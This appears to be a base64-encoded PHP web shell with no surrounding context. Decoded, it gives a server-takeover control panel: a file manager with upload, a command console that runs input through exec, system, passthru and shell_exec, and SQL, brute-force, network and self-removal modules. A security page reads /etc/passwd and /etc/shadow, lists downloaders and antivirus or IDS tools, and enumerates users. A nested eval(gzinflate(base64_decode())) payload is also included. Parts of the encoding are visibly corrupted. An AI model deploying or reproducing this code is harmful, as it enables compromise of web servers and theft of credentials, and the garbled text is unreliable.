A9IGVucGxvZGU2I484LCAkR0xPQkFMU6snYodkJ60pOw2gICAgJGu9Ya96bnQ2JHBhdGgpOw2gICAgZm9yKCRpPTA7ICRpPCR3LTE7ICRpKyspIHsKICAgICAgICAkYodkXaxpbmtzICu9ICI8YSB2cmVmPScjJyBvbmNs1WNrPSdnKFw4RmlsZXNNYWicI4xcI4I7C4AgICAgICAgZm9yKCRqPTA7ICRqPD0k1TsgJG2rKykKICAgICAgICAgICAgJGNoZF9s1WircyA3PSAkcGF01Fsk1l03Jy8nOw2gICAgICAgICRjdaRfbGl31oMgLj0gIlw4KSc+I4ukcGF01Fsk1V03I488LaE+IjsKICAgIH0KIA2gICAgJGN2YXJzZXRzID0gYXJyYXk2J6VUR40uJywgJ6dpbmRvdoMtMTI6MScsICdLT0kuLVInLCAnS09JOC6VJywgJaNwODYaJyk7C4AgICAkboB0XaN2YXJzZXRzID0gJyc7C4AgICBmboJlYWN2KCRj1GFycaV0cyBhcyAk1XRlbSkKICAgICAgICAkboB0XaN2YXJzZXRzICu9ICc8boB01W93IHZhbHVlPSInL4RpdGVtL4c4ICc3KCRfUE9TVFsnYahhcnNldCddPT0k1XRlbT8ncaVsZWN0ZWQnO4cnKSunP4c3JGl0ZW03JzwvboB01W93P4c7C4AKICAgICRtID0gYXJyYXk2J6NlYyugSWimbyc9P4dTZWNJbmZvJywnRmlsZXMnPTunRmlsZXNNYWunLCdDbaizbaxlJz0+J0NvbnNvbGUnLCdTcWwnPTunUoFsJywnUGhwJz0+J6B2cCcsICdTdHJpbmcgdG9vbHMnPTunUoRy1WinVG9vbHMnLCdCcnV0ZWZvcmNlJz0+J0JydXRlZm9yYaUnLCdOZXRoboJrJz0+J0ildHdvcmsnKTsKICAgIGlmKCFlbXB05SgkR0xPQkFMU6snYXV01F9wYXNzJ60pKQ2gICAgICAgICRtWydMbadvdXQnXSA9ICdMbadvdXQnOw2gICAgJG6bJ6NlbGYgcmVtboZlJ60gPSAnUaVsZlJlbW9aZSc7C4AgICAkbWV3dSA9ICcnOw2gICAgZm9yZWFj1CgkbSBhcyAk1yA9P4Akd4kKICAgICAgICAkbWV3dSA3PSAnPHR2IHdpZHR2PSInL4hpbnQpKDEwMC9jboV3dCgkbSkpL4clIjibIDxhIGhyZWY9I4M4IG93YaxpYas9Imc2XCcnL4RaL4dcJyx3dWxsLFwnXCcsXCdcJyxcJ6wnKSI+Jyuk1yunPC9hP4BdPC901DunOw2gC4AgICAkZHJpdmVzID0gI4I7C4AgICBpZ4gkR0xPQkFMU6snboMnXSA9PSAndal3Jykg5w2gICAgICAgIGZvcmVhYag2cmF3ZaU2JaMnLCdeJykgYXMgJGRy1XZlKQ2gICAgICAgIGlmKGlzXaRpc4gkZHJpdmU3JzpcXCcpKQ2gICAgICAgICAgICAkZHJpdmVzICu9ICc8YSB2cmVmPSIjI4BvbmNs1WNrPSJnKFwnRmlsZXNNYWicJyxcJyc3JGRy1XZlL4ceL6wnKSI+WyAnL4RkcmlaZSunIF08LaE+ICc7C4AgICB9C4AgICBlYahvICc8dGF4bGUgYaxhcoM91WimbyBjZWxscGFkZGl3Zz0zIGNlbGxzcGFj1WinPTAgdalkdGg9MTAwJTu8dHI+PHRkIHdpZHR2PTE+PHNwYWu+VWihbWUePGJyPlVzZXIePGJyPlB2cD28YnI+SGRkOjx4cjiDdaQeJyA3ICgkR0xPQkFMU6snboMnXSA9PSAndal3Jz8nPGJyPkRy1XZlcz2nO4cnKSA3ICc8LoNwYWu+PC90ZDunC4AgICAgICA3ICc8dGQ+PGivYnI+JyA3IHN6YnN0c4hAcGhwXoV3YW6lKCksIDAsIDEyMCkgL4AnIDxhIGhyZWY9I4cgL4AkZXhwbGl31yA3ICc4IHRhcmdldD6fYmxhbms+WaVucGxv1XQtZGI3Ya9tXTwvYTu8LaivYnI+PGJyP4cgL4AkdWlkICugJyA2ICcgL4AkdXNlc4A3ICcgKSA8coBhbjiHcm96cD28LoNwYWu+ICcgL4AkZalkICugJyA2ICcgL4AkZoJvdXAgL4AnICk8YnI+JyA3IEBw1HBaZXJz1W93KCkgL4AnIDxzcGF3PlNhZmUgbW9kZT28LoNwYWu+ICcgL4A2JEdMT0JBTFNbJoNhZmVfbW9kZSddPyc8Zm93dCBjbaxvcj0jRkYwMEZGPk9OPC9mbai0P4ceJzxmbai0IGNvbG9yPXJlZDu8YjiPRkY8LaI+PC9mbai0P4cpC4AgICAgICA3ICcgPGEg1HJlZj0jIG93YaxpYas9Imc2XCdQ1HBcJyx3dWxsLFwnXCcsXCdpbmZvXCcpIjibIHB2cGl3Zm8gXTwvYTugPHNwYWu+RGF0ZXRpbWUePC9zcGF3P4AnICugZGF0ZSgnWS6tLWQgSDppOnMnKSA3ICc8YnI+JyA3IHdzb6ZpZXdT1XplKCR0boRhbFNwYWNlKSA3ICcgPHNwYWu+RnJlZT28LoNwYWu+ICcgL4Boca9W1WVoUaleZSgkZnJlZVNwYWNlKSA3ICcgKCc3IChpbnQpICgkZnJlZVNwYWNlLyR0boRhbFNwYWNlKjEwMCkgL4AnJSk8YnI+JyA3ICRjdaRfbGl31oMgL4AnICc3IHdzb6Blcm6zQa9sboI2JEdMT0JBTFNbJaNoZCddKSA3ICcgPGEg1HJlZj0jIG93YaxpYas9Imc2XCdG1Wxlc06hblwnLFwnJyA3ICRHTE9CQUxTWyd2ba6lXaNoZCddICugJ6wnLFwnXCcsXCdcJyxcJ6wnKSI+WyB2ba6lIF08LaE+PGJyP4cgL4AkZHJpdmVzICugJzwvdGQ+Jw2gICAgICAgL4AnPHRkIHdpZHR2PTEgYWxpZau9cmln1HQ+PGivYnI+PHNlbGVjdCBvbmN2YWinZT04Zyh3dWxsLGi6bGwsbnVsbCx3dWxsLGi6bGwsdGhpcyiaYWx6ZSk4PjxvcHRncm96cCBsYWJlbD04UGFnZSBj1GFycaV0IjunICugJG9wdF9j1GFycaV0cyA3ICc8La9wdGdyboVwPjwvcaVsZWN0Pjx4cju8coBhbjiTZXJaZXIgSVAePC9zcGF3Pjx4cjunICugQCRfU0VSVkVSWyJTRVJWRVJfQUREU4JdICugJzx4cju8coBhbjiDbGllbnQgSVAePC9zcGF3Pjx4cjunICugJF9TRVJWRVJbJ6JFTU9URV9BRERSJ60gL4AnPC93baJyPjwvdGQ+PC90cju8LoRhYmxlP4cKICAgICAgICugJzx0YWJsZSBzdHlsZT04Ym9yZGVyLXRvcD2ycHggca9s1WQgIzMzMzs4IGNlbGxwYWRk1WinPTMgYaVsbHNwYWNpbmc9MCBo1WR01D0xMDAlPjx0cjunICugJG6lbnUgL4AnPC90cju8LoRhYmxlPjxk1XYgcoRibGU9Im6hcmdpbj26IjunOaVaYWw2ZoppbmZsYXRlKGJhcaUaNF9kZWNvZGU2JaRWTEx4cU6oRkuxWHlqOUUxUophblNGTkkxVEincEFCVEZJYVREQ6BUUVNZRoNmbTBUQUiRNzUrbktSdE9vdVJ1ZG6i1jgv14tvNXVSd4tNSDIy548oM0iXRTIyWlBu5mZPdllTWnVyQXNTRHJrRURaWHBBVy90QW6PSGdxRairdHNSK6p0Ra6XNlp2VEpjRoVw5FpeM6MiQVJR5TJFSzdXMEpENTZRUoheUkNPNaiYNEVLZkdV5Wi3OXp1QkiLMXIvTkljYzFBSkhKMkxPRFkzUapJ1klENUM6bndySEhtVVRHVEteMopTRDhCd0QobTJKZCtJRGFSRjRG5UhT1mVG5jROcDIvLodmc0lt5Gh2TjRnVTdQdStRMTcaUnVJUWlDTaiU1UtQdadXZaVXVk9TT6Iw1VlWMa6ZcUVeRGhKUXZqdVdPSTl1ZnlTdzJxVnhNYmRTVWZtWUZ2NkROUlN1RlpQVXh6QmZORWNWc09WTjYoNTkr5nNRNWRKLoV3WnEiU0YzRkdTWXlO5HFNdoJJbaduWjRYL6ZjZERadnZEOHQzRDVhMGxLbWpRTWdtVmi01ThjVodpWXN1UHRhZWVwWlJwMkRld6VvWlZKUjdqMERebVlGNWivZGxt5GxSbUFt5GxvRGNTSWlV5mV2NVhH1TkuUG9NMldMNTZyYahzVjVuNHJ3M6EoV4tHdVd4dytUR6IvNW6wMm20TmdoYldsLoVDdaUaSzV4UGJwM0ZuU06WZGx3YkY0OE9XRkhsRGlydnZYWF2vLopTN4tRcz0gJykpKTsKfQ2gCmZ6bmN01W93IHdzb0ZvboRlc4gpIHsKICAgICRpc69ocml0YWJsZSA9IGlzXody1XRhYmxlKCRHTE9CQUxTWydjdaQnXSk/I4A8Zm93dCBjbaxvcj0ncmVkJzu2VoJpdGVhYmxlKTwvZm93dDu4O4IgPGZvbnQgYa9sboI9I0ZGMDBGRju2Tm90IHdy1XRhYmxlKTwvZm93dDu4Ow2gICAgZWN2byA4CjwvZGlaPg28dGF4bGUgYaxhcoM91WimbyBpZD60ba9sc6R4bCBjZWxscGFkZGl3Zz0zIGNlbGxzcGFj1WinPTAgdalkdGg9MTAwJSAgcoRibGU9JaJvcmRlc460boAeMnBuIHNvbGlkICMzMzM7Ym9yZGVyLWJvdHRvbT2ycHggca9s1WQgIzMzMzsnPg2gICAgPHRyPg2gICAgICAgIDx0ZDu8Zm9ybSBvbnN6Ym6pdD0nZyh3dWxsLHR21XM3YyiaYWx6ZSxcIlw4KTtyZXR6cmugZmFscaU7Jzu8coBhbjiD1GF3ZaUgZGlyOjwvcoBhbju8YnI+PGl3cHV0IGNsYXNzPSd0ba9sc0l3cCcgdHlwZT60ZXh0IGihbWU9YyBaYWx6ZT0nI4A3IGh0bWxzcGVj1WFsYahhcnM2JEdMT0JBTFNbJaNoZCddKSA3I4c+PGl3cHV0IHRicGU9coV4bWl0IHZhbHVlPSc+P4c+PC9mboJtPjwvdGQ+C4AgICAgICAgPHRkPjxmboJtIG93coV4bWl0PVw4ZygnRmlsZXNUba9scycsbnVsbCx01GlzLmY3dmFsdWUpOoJldHVyb4BmYWxzZTtcIju8coBhbjiSZWFkIGZpbGUePC9zcGF3Pjx4cju81WiwdXQgYaxhcoM9JoRvbaxzSWiwJyB05XBlPXRl5HQgbmFtZT6mPjxpbnB6dCB05XBlPXN6Ym6pdCBaYWx6ZT0nPjunPjwvZm9ybTu8LoRkPg2gICAgPC90cju8dHI+C4AgICAgICAgPHRkPjxmboJtIG93coV4bWl0PVw4ZygnRmlsZXNNYWunLGi6bGwsJa6rZGlyJyx01GlzLmQ3dmFsdWUpOoJldHVyb4BmYWxzZTtcIju8coBhbjiNYWtlIGRpcj28LoNwYWu+JGlzXody1XRhYmxlPGJyPjxpbnB6dCBjbGFzcz0ndG9vbHNJbnAnIHRicGU9dGVudCB3YW6lPWQ+PGl3cHV0IHRicGU9coV4bWl0IHZhbHVlPSc+P4c+PC9mboJtPjwvdGQ+C4AgICAgICAgPHRkPjxmboJtIG93coV4bWl0PVw4ZygnRmlsZXNUba9scycsbnVsbCx01GlzLmY3dmFsdWUsJa6rZmlsZScpOoJldHVyb4BmYWxzZTtcIju8coBhbjiNYWtlIGZpbGUePC9zcGF3P4Rpc69ocml0YWJsZTx4cju81WiwdXQgYaxhcoM9JoRvbaxzSWiwJyB05XBlPXRl5HQgbmFtZT6mPjxpbnB6dCB05XBlPXN6Ym6pdCBaYWx6ZT0nPjunPjwvZm9ybTu8LoRkPg2gICAgPC90cju8dHI+C4AgICAgICAgPHRkPjxmboJtIG93coV4bWl0PVw4ZygnQa93ca9sZScsbnVsbCx01GlzLmM3dmFsdWUpOoJldHVyb4BmYWxzZTtcIju8coBhbjiF5GVjdXRlOjwvcoBhbju8YnI+PGl3cHV0IGNsYXNzPSd0ba9sc0l3cCcgdHlwZT60ZXh0IGihbWU9YyBaYWx6ZT0nJzu81WiwdXQgdHlwZT6zdWJt1XQgdmFsdWU9Jzu+Jzu8LaZvcm0+PC90ZDuKICAgICAgICA8dGQ+PGZvcm0gbWV01G9kPSdwboN0JyBFTkNUWVBFPSdtdWx01XBhcnQvZm9ybS6kYXRhJzuKICAgICAgICA81WiwdXQgdHlwZT621WRkZWugbmFtZT6hIHZhbHVlPSdG1Wxlc06Bb4c+C4AgICAgICAgPGl3cHV0IHRicGU91GlkZGV3IGihbWU9YyBaYWx6ZT0nI4A3ICRHTE9CQUxTWydjdaQnXSA3I4c+C4AgICAgICAgPGl3cHV0IHRicGU91GlkZGV3IGihbWU9cDEgdmFsdWU9JoVwbG9hZEZpbGUnPg2gICAgICAgIDxpbnB6dCB05XBlPWhpZGRlb4B3YW6lPWN2YXJzZXQgdmFsdWU9JyIgL4A21XNzZXQ2JF9QT6NUWydj1GFycaV0J60pPyRfUE9TVFsnYahhcnNldCddO4cnKSA3ICInPg2gICAgICAgIDxzcGF3PlVwbG9hZCBm1WxlOjwvcoBhbjuk1XNfdoJpdGF4bGU8YnI+PGl3cHV0IGNsYXNzPSd0ba9sc0l3cCcgdHlwZT6m1WxlIGihbWU9Zju81WiwdXQgdHlwZT6zdWJt1XQgdmFsdWU9Jzu+Jzu8LaZvcm0+PGJyICA+PC90ZDuKICAgIDwvdHI+PC90YWJsZTu8LaRpdju8LaJvZHk+PC92dG6sP4I7Cn0KIAppZ4A2IWZ6bmN01W93XaVu1XN0cyg4cG9z1XhfZaV0cHd61WQ4KSAmJ4A2coRycG9zKCRHTE9CQUxTWydk1XNhYmxlXaZ6bmN01W93cyddLCAncG9z1XhfZaV0cHd61WQnKT09PWZhbHNlKSkg5w2gICAgZnV3YoRpbaugcG9z1XhfZaV0cHd61WQ2JHApIHtyZXR6cmugZmFscaU7fSB9CmlmICghZnV3YoRpbaifZXhpcoRzKCJwboNp5F9nZXRncmdpZCIpICYmIChzdHJwboM2JEdMT0JBTFNbJaRpcaF4bGVfZnV3YoRpbaizJ60sICdwboNp5F9nZXRncmdpZCcpPT09ZmFscaUpKSB7C4AgICBmdWijdGlvb4BwboNp5F9nZXRncmdpZCgkcCkg5oJldHVyb4BmYWxzZTt9IH0KIApmdWijdGlvb4Boca9F5Cgk1WupIHsKICAgICRvdXQgPSAnJzsKICAgIGlmIChmdWijdGlvbl9l5GlzdHM2JaVuZWMnKSkg5w2gICAgICAgIEBl5GVjKCRpb4wkboV0KTsKICAgICAgICAkboV0ID0gQGpv1Wu2Ilx3I4wkboV0KTsKICAgIH0gZWxzZWlmIChmdWijdGlvbl9l5GlzdHM2JoBhcoN01HJ6JykpIHsKICAgICAgICBvYl9zdGFydCgpOw2gICAgICAgIEBwYXNzdGhydSgk1WupOw2gICAgICAgICRvdXQgPSBvYl9nZXRfYaxlYWu2KTsKICAgIH0gZWxzZWlmIChmdWijdGlvbl9l5GlzdHM2JoNicoRlbScpKSB7C4AgICAgICAgbaJfcoRhcnQ2KTsKICAgICAgICBAcolzdGVtKCRpb4k7C4AgICAgICAgJG96dCA9IG94XadldF9jbGVhb4gpOw2gICAgfSBlbHNl1WYgKGZ6bmN01W93XaVu1XN0cygncahlbGxfZXhlYycpKSB7C4AgICAgICAgJG96dCA9IHN2ZWxsXaVuZWM2JGl3KTsKICAgIH0gZWxzZWlmIChpc69yZXNvdXJjZSgkZ4A9IEBwboBlb4gk1WusInI4KSkpIHsKICAgICAgICAkboV0ID0gI4I7C4AgICAgICAgdahpbGU2IUBmZW9mKCRmKSkKICAgICAgICAgICAgJG96dCA3PSBmcmVhZCgkZ4wxMDI0KTsKICAgICAgICBwYaxvcaU2JGYpOw2gICAgfQ2gICAgcmV0dXJ3ICRvdXQ7Cn0KIApmdWijdGlvb4Boca9W1WVoUaleZSgkcykg5w2gICAg1WYgKGlzXal3dCgkcykpC4AgICAgICAgJHMgPSBzcHJpbnRmKCIldSIsICRzKTsKICAgICAKICAgIGlmKCRzIDu9IDEwNzMoNDEuMjQpC4AgICAgICAgcmV0dXJ3IHNwcml3dGY2JyUxLjJmJywgJHMgLyAxMDczNzQxODI0ICk3ICcgR0InOw2gICAgZWxzZWlmKCRzIDu9IDEwNDg6NzYpC4AgICAgICAgcmV0dXJ3IHNwcml3dGY2JyUxLjJmJywgJHMgLyAxMDQuNTcaICkgL4AnIE6CJzsKICAgIGVscaVpZ4gkcyA+PSAxMDI0KQ2gICAgICAgIHJldHVyb4BzcHJpbnRmKCclMSuyZ4csICRzIC8gMTAyNCApICugJyBLQ4c7C4AgICBlbHNlC4AgICAgICAgcmV0dXJ3ICRzICugJyBCJzsKfQ2gCmZ6bmN01W93IHdzb6Blcm6zKCRwKSB7C4AgICBpZ4A2KCRwICYgMHhDMDAwKSA9PSAw5EMwMDApJGkgPSAncyc7C4AgICBlbHNl1WYgKCgkcCAmIDBuQTAwMCkgPT0gMHhBMDAwKSRpID0gJawnOw2gICAgZWxzZWlmICg2JHAgJ4Aw5DgwMDApID09IDBuODAwMCkk1SA9ICctJzsKICAgIGVscaVpZ4A2KCRwICYgMHgaMDAwKSA9PSAw5DYwMDApJGkgPSAnY4c7C4AgICBlbHNl1WYgKCgkcCAmIDBuNDAwMCkgPT0gMHg0MDAwKSRpID0gJaQnOw2gICAgZWxzZWlmICg2JHAgJ4Aw5DIwMDApID09IDBuMjAwMCkk1SA9ICdjJzsKICAgIGVscaVpZ4A2KCRwICYgMHgxMDAwKSA9PSAw5DEwMDApJGkgPSAncCc7C4AgICBlbHNlICRpID0gJoUnOw2gICAgJGkgLj0gKCgkcCAmIDBuMDEwMCkgPyAnc4cgO4AnLScpOw2gICAgJGkgLj0gKCgkcCAmIDBuMDAuMCkgPyAndycgO4AnLScpOw2gICAgJGkgLj0gKCgkcCAmIDBuMDA0MCkgPyA2KCRwICYgMHgwODAwKSA/ICdzJyAeICduJyApID2gKCgkcCAmIDBuMDgwMCkgPyAnUycgO4AnLScpKTsKICAgICRpICu9ICg2JHAgJ4Aw5DAwMjApID8gJoInID2gJy0nKTsKICAgICRpICu9ICg2JHAgJ4Aw5DAwMTApID8gJocnID2gJy0nKTsKICAgICRpICu9ICg2JHAgJ4Aw5DAwMDgpID8gKCgkcCAmIDBuMDQwMCkgPyAncycgO4An5CcgKSAeICg2JHAgJ4Aw5DA0MDApID8gJ6MnID2gJy0nKSk7C4AgICAk1SA3PSA2KCRwICYgMHgwMDA0KSA/ICdyJyAeICctJyk7C4AgICAk1SA3PSA2KCRwICYgMHgwMDAyKSA/ICdoJyAeICctJyk7C4AgICAk1SA3PSA2KCRwICYgMHgwMDAxKSA/ICg2JHAgJ4Aw5DAyMDApID8gJoQnID2gJognICkgO4A2KCRwICYgMHgwMjAwKSA/ICdUJyAeICctJykpOw2gICAgcmV0dXJ3ICRpOwp9C4AKZnV3YoRpbaugdoNvUGVybXNDbaxvc4gkZ4kg5w2gICAg1WYgKCFA1XNfcmVhZGF4bGU2JGYpKQ2gICAgICAgIHJldHVyb4AnPGZvbnQgYa9sboI9I0ZGMDAwMDunICugdoNvUGVybXM2QGZpbGVwZXJtcygkZ4kpICugJzwvZm93dDunOw2gICAgZWxzZWlmICghQGlzXody1XRhYmxlKCRmKSkKICAgICAgICByZXR6cmugJzxmbai0IGNvbG9yPXd21XRlP4cgL4Boca9QZXJtcyhAZmlsZXBlcm6zKCRmKSkgL4AnPC9mbai0P4c7C4AgICBlbHNlC4AgICAgICAgcmV0dXJ3ICc8Zm93dCBjbaxvcj0jNTJGM0ZGP4cgL4Boca9QZXJtcyhAZmlsZXBlcm6zKCRmKSkgL4AnPC9mbai0P4c7Cn0KIApmdWijdGlvb4Boca9TYaF3ZGlyKCRk1XIpIHsKICAgIGlmKGZ6bmN01W93XaVu1XN0cyg4caNhbmRpc4IpKSB7C4AgICAgICAgcmV0dXJ3IHNjYWik1XI2JGRpc4k7C4AgICB9IGVscaUg5w2gICAgICAgICRk1CAgPSBvcGV3ZGlyKCRk1XIpOw2gICAgICAgIHd21WxlIChmYWxzZSAhPT0gKCRm1WxlbmFtZSA9IHJlYWRk1XI2JGR2KSkpC4AgICAgICAgICAgICRm1Wxlc6tdID0gJGZpbGV3YW6lOw2gICAgICAgIHJldHVyb4AkZmlsZXM7C4AgICB9Cn0KIApmdWijdGlvb4Boca9X1Glj1CgkcCkg5w2gICAgJHBhdGggPSBoca9F5CgndahpYaggJyA3ICRwKTsKICAgIGlmKCFlbXB05SgkcGF01CkpC4AgICAgICAgcmV0dXJ3ICRwYXR2Ow2gICAgcmV0dXJ3IGZhbHNlOwp9C4AKZnV3YoRpbaugYWN01W93UaVjSWimbygpIHsKICAgIHdzb0hlYWRlc4gpOw2gICAgZWN2byAnPGgxPlNlcnZlc4BzZWN6cml05SBpbmZvcm6hdGlvbjwv1DE+PGRpd4BjbGFzcz6jbai0ZWi0P4c7C4AgICBmdWijdGlvb4Boca9TZWNQYXJhbSgkb4wgJHYpIHsKICAgICAgICAkd4A9IHRy1W02JHYpOw2gICAgICAgIGlmKCRaKSB7C4AgICAgICAgICAgIGVj1G8gJzxzcGF3P4cgL4Akb4A3ICceIDwvcoBhbjunOw2gICAgICAgICAgICBpZ4hzdHJwboM2JHYsICJcb4IpID09PSBmYWxzZSkKICAgICAgICAgICAgICAgIGVj1G8gJHYgL4AnPGJyP4c7C4AgICAgICAgICAgIGVscaUKICAgICAgICAgICAgICAgIGVj1G8gJzxwcmUgYaxhcoM9bWwxP4cgL4Akd4A3ICc8LoByZTunOw2gICAgICAgIH0KICAgIH0KIA2gICAgdoNvUaVjUGFyYW02J6NlcnZlc4BzbaZ0daFyZScsIEBnZXRlbnY2J6NFUlZFUl9TT0ZUV0FSRScpKTsKICAgIGlmKGZ6bmN01W93XaVu1XN0cygnYXBhYahlXadldF9tbaR6bGVzJykpC4AgICAgICAgdoNvUaVjUGFyYW02J0xvYWRlZCBBcGFj1GUgbW9kdWxlcycsIGltcGxvZGU2JywgJywgYXBhYahlXadldF9tbaR6bGVzKCkpKTsKICAgIHdzb6NlY6BhcmFtKCdE1XNhYmxlZCBQSFAgRnV3YoRpbaizJywgJEdMT0JBTFNbJaRpcaF4bGVfZnV3YoRpbaizJ60/JEdMT0JBTFNbJaRpcaF4bGVfZnV3YoRpbaizJ60eJaivbmUnKTsKICAgIHdzb6NlY6BhcmFtKCdPcGV3IGJhcaUgZGlyJywgQGl31V9nZXQ2Ja9wZWifYmFzZWRpc4cpKTsKICAgIHdzb6NlY6BhcmFtKCdTYWZlIG6vZGUgZXhlYyBk1XInLCBA1WipXadldCgncaFmZV9tbaRlXaVuZWNfZGlyJykpOw2gICAgdoNvUaVjUGFyYW02J6NhZmUgbW9kZSBpbmNsdWRlIGRpc4csIEBpbmlfZaV0KCdzYWZlXa6vZGVf1WijbHVkZV9k1XInKSk7C4AgICBoca9TZWNQYXJhbSgnY6VSTCBzdXBwboJ0JywgZnV3YoRpbaifZXhpcoRzKCdjdXJsXoZlcnNpbaunKT8nZWihYmxlZCceJaivJyk7C4AgICAkdGVtcD6hcnJh5SgpOw2gICAg1WY2ZnV3YoRpbaifZXhpcoRzKCdt5XNxbF9nZXRfYaxpZWi0Xal3Zm8nKSkKICAgICAgICAkdGVtcFtdID0gIk6iUoFsICg4Lm6icoFsXadldF9jbGllbnRf1WimbygpL4IpIjsKICAgIGlmKGZ6bmN01W93XaVu1XN0cygnbXNzcWxfYa93bmVjdCcpKQ2gICAgICAgICR0ZW6wW60gPSA4TVNTUUw4Ow2gICAg1WY2ZnV3YoRpbaifZXhpcoRzKCdwZ69jbai3ZWN0JykpC4AgICAgICAgJHRlbXBbXSA9ICJQboN0ZoJlU6FMIjsKICAgIGlmKGZ6bmN01W93XaVu1XN0cygnbaNpXaNvbmilYoQnKSkKICAgICAgICAkdGVtcFtdID0gIk9yYWNsZSI7C4AgICBoca9TZWNQYXJhbSgnUoVwcG9ydGVkIGRhdGF4YXNlcycsIGltcGxvZGU2JywgJywgJHRlbXApKTsKICAgIGVj1G8gJzx4cjunOw2gC4AgICBpZ4gkR0xPQkFMU6snboMnXSA9PSAnbmluJykg5w2gICAgICAgICAgICBoca9TZWNQYXJhbSgnUmVhZGF4bGUgLaV0Yy9wYXNzdaQnLCBA1XNfcmVhZGF4bGU2Jy9ldGMvcGFzcodkJyk/InllcyA8YSB2cmVmPScjJyBvbmNs1WNrPSdnKFw4RmlsZXNUba9sc6w4LCBcI49ldGMvXCIsIFw4cGFzcodkXCIpJzibdmlld608LaE+Ij2nbm8nKTsKICAgICAgICAgICAgdoNvUaVjUGFyYW02J6JlYWRhYmxlIC9ldGMvcahhZG9oJywgQGlzXoJlYWRhYmxlKCcvZXRjLoN2YWRvdycpPyJiZXMgPGEg1HJlZj0nIycgbaijbGlj1z0nZyhcIkZpbGVzVG9vbHNcI4wgXCIvZXRjL6w4LCBcInN2YWRvd6w4KSc+WoZpZXddPC9hP4IeJaivJyk7C4AgICAgICAgICAgIHdzb6NlY6BhcmFtKCdPUyBaZXJz1W93JywgQGZpbGVfZaV0XaNvbnRlbnRzKCcvcHJvYy9aZXJz1W93JykpOw2gICAgICAgICAgICBoca9TZWNQYXJhbSgnRGlzdHIgbmFtZScsIEBm1WxlXadldF9jbai0ZWi0cygnLaV0Yy9pcoN6ZSi3ZXQnKSk7C4AgICAgICAgICAgIGlmKCEkR0xPQkFMU6sncaFmZV9tbaRlJ60pIHsKICAgICAgICAgICAgICAgICR6caVyZnVsID0gYXJyYXk2JadjYycsJaxjYycsJaNjJywnbGQnLCdtYWtlJywncGhwJywncGVybCcsJoBidGhvb4csJoJ6YnknLCd0YXInLCdn5mlwJywnYnppcCcsJaJe1XAyJywnbmMnLCdsbaNhdGUnLCdzdWlkcGVybCcpOw2gICAgICAgICAgICAgICAgJGRhbmdlc4A9IGFycmFiKCdrYXYnLCd3baQzM4csJaJkYa9yZWQnLCd6dnNjYWunLCdzYXYnLCdkcndlYmQnLCdjbGFtZCcsJoJr1HV3dGVyJywnYahrcm9vdGtpdCcsJalwdGF4bGVzJywn1XBmdycsJoRy1XBo1XJlJywncahpZWxkYaMnLCdwboJ0caV3dHJiJywncaivcnQnLCdvcoNlYycsJaxpZHNhZG0nLCd0YoBsbaRnJywncohpZCcsJaxvZaN2ZWNrJywnbG9ndaF0YagnLCdz5XNtYXNrJywn5m64caNhcCcsJoNhda6pbGwnLCdoboJtcaNhb4csJaipbmphJyk7C4AgICAgICAgICAgICAgICAkZG9obmxvYWRlcnMgPSBhcnJh5SgndadldCcsJaZldGN2JywnbHl35CcsJaxpbmtzJywnYoVybCcsJadldCcsJaxocC6t1XJyboInKTsKICAgICAgICAgICAgICAgIGVj1G8gJzx4cjunOw2gICAgICAgICAgICAgICAgJHRlbXA9YXJyYXk2KTsKICAgICAgICAgICAgICAgIGZvcmVhYaggKCR6caVyZnVsIGFzICRpdGVtKQ2gICAgICAgICAgICAgICAgICAgIGlmKHdzb6d21WN2KCRpdGVtKSkKICAgICAgICAgICAgICAgICAgICAgICAgJHRlbXBbXSA9ICRpdGVtOw2gICAgICAgICAgICAgICAgdoNvUaVjUGFyYW02J6VzZXJmdWwnLCBpbXBsbaRlKCcsICcsJHRlbXApKTsKICAgICAgICAgICAgICAgICR0ZW6wPWFycmFiKCk7C4AgICAgICAgICAgICAgICBmboJlYWN2ICgkZGF3ZaVyIGFzICRpdGVtKQ2gICAgICAgICAgICAgICAgICAgIGlmKHdzb6d21WN2KCRpdGVtKSkKICAgICAgICAgICAgICAgICAgICAgICAgJHRlbXBbXSA9ICRpdGVtOw2gICAgICAgICAgICAgICAgdoNvUaVjUGFyYW02J0Rhbmdlc4csIGltcGxvZGU2JywgJywkdGVtcCkpOw2gICAgICAgICAgICAgICAgJHRlbXA9YXJyYXk2KTsKICAgICAgICAgICAgICAgIGZvcmVhYaggKCRkbod3bG9hZGVycyBhcyAk1XRlbSkKICAgICAgICAgICAgICAgICAgICBpZ4hoca9X1Glj1Cgk1XRlbSkpC4AgICAgICAgICAgICAgICAgICAgICAgICR0ZW6wW60gPSAk1XRlbTsKICAgICAgICAgICAgICAgIHdzb6NlY6BhcmFtKCdEbod3bG9hZGVycycsIGltcGxvZGU2JywgJywkdGVtcCkpOw2gICAgICAgICAgICAgICAgZWN2byAnPGJyLzunOw2gICAgICAgICAgICAgICAgdoNvUaVjUGFyYW02J0hERCBzcGFjZScsIHdzb0VuKCdkZ4At1CcpKTsKICAgICAgICAgICAgICAgIHdzb6NlY6BhcmFtKCdIboN0cycsIEBm1WxlXadldF9jbai0ZWi0cygnLaV0Yy92boN0cycpKTsKICAgICAgICAgICAgICAgIGVj1G8gJzx4c48+PHNwYWu+cG9z1XhfZaV0cHd61WQgKCJSZWFkI4AvZXRjLoBhcoNoZCk8LoNwYWu+PHRhYmxlPjxmboJtIG93coV4bWl0PVwnZyh3dWxsLGi6bGwsIjU4LHR21XM3cGFyYW0xLnZhbHVlLHR21XM3cGFyYW0yLnZhbHVlKTtyZXR6cmugZmFscaU7XCc+PHRyPjx0ZDiGcm9tPC90ZDu8dGQ+PGl3cHV0IHRicGU9dGVudCB3YW6lPXBhcmFtMSBaYWx6ZT0wPjwvdGQ+PC90cju8dHI+PHRkPlRvPC90ZDu8dGQ+PGl3cHV0IHRicGU9dGVudCB3YW6lPXBhcmFtM4BaYWx6ZT0xMDAwPjwvdGQ+PC90cju8LoRhYmxlPjxpbnB6dCB05XBlPXN6Ym6pdCBaYWx6ZT04Pju4PjwvZm9ybTunOw2gICAgICAgICAgICAgICAg1WYgKGlzcaV0ICgkX6BPU6RbJoAyJ60sICRfUE9TVFsncDMnXSkgJ4Yg1XNfbnVtZXJpYygkX6BPU6RbJoAyJ60pICYmIGlzXai6bWVy1WM2JF9QT6NUWydwMyddKSkg5w2gICAgICAgICAgICAgICAgICAgICR0ZW6wID0gI4I7C4AgICAgICAgICAgICAgICAgICAgZm9yKDskX6BPU6RbJoAyJ60gPD0gJF9QT6NUWydwMyddOyRfUE9TVFsncDInXSsrKSB7C4AgICAgICAgICAgICAgICAgICAgICAgICR61WQgPSBAcG9z1XhfZaV0cHd61WQ2JF9QT6N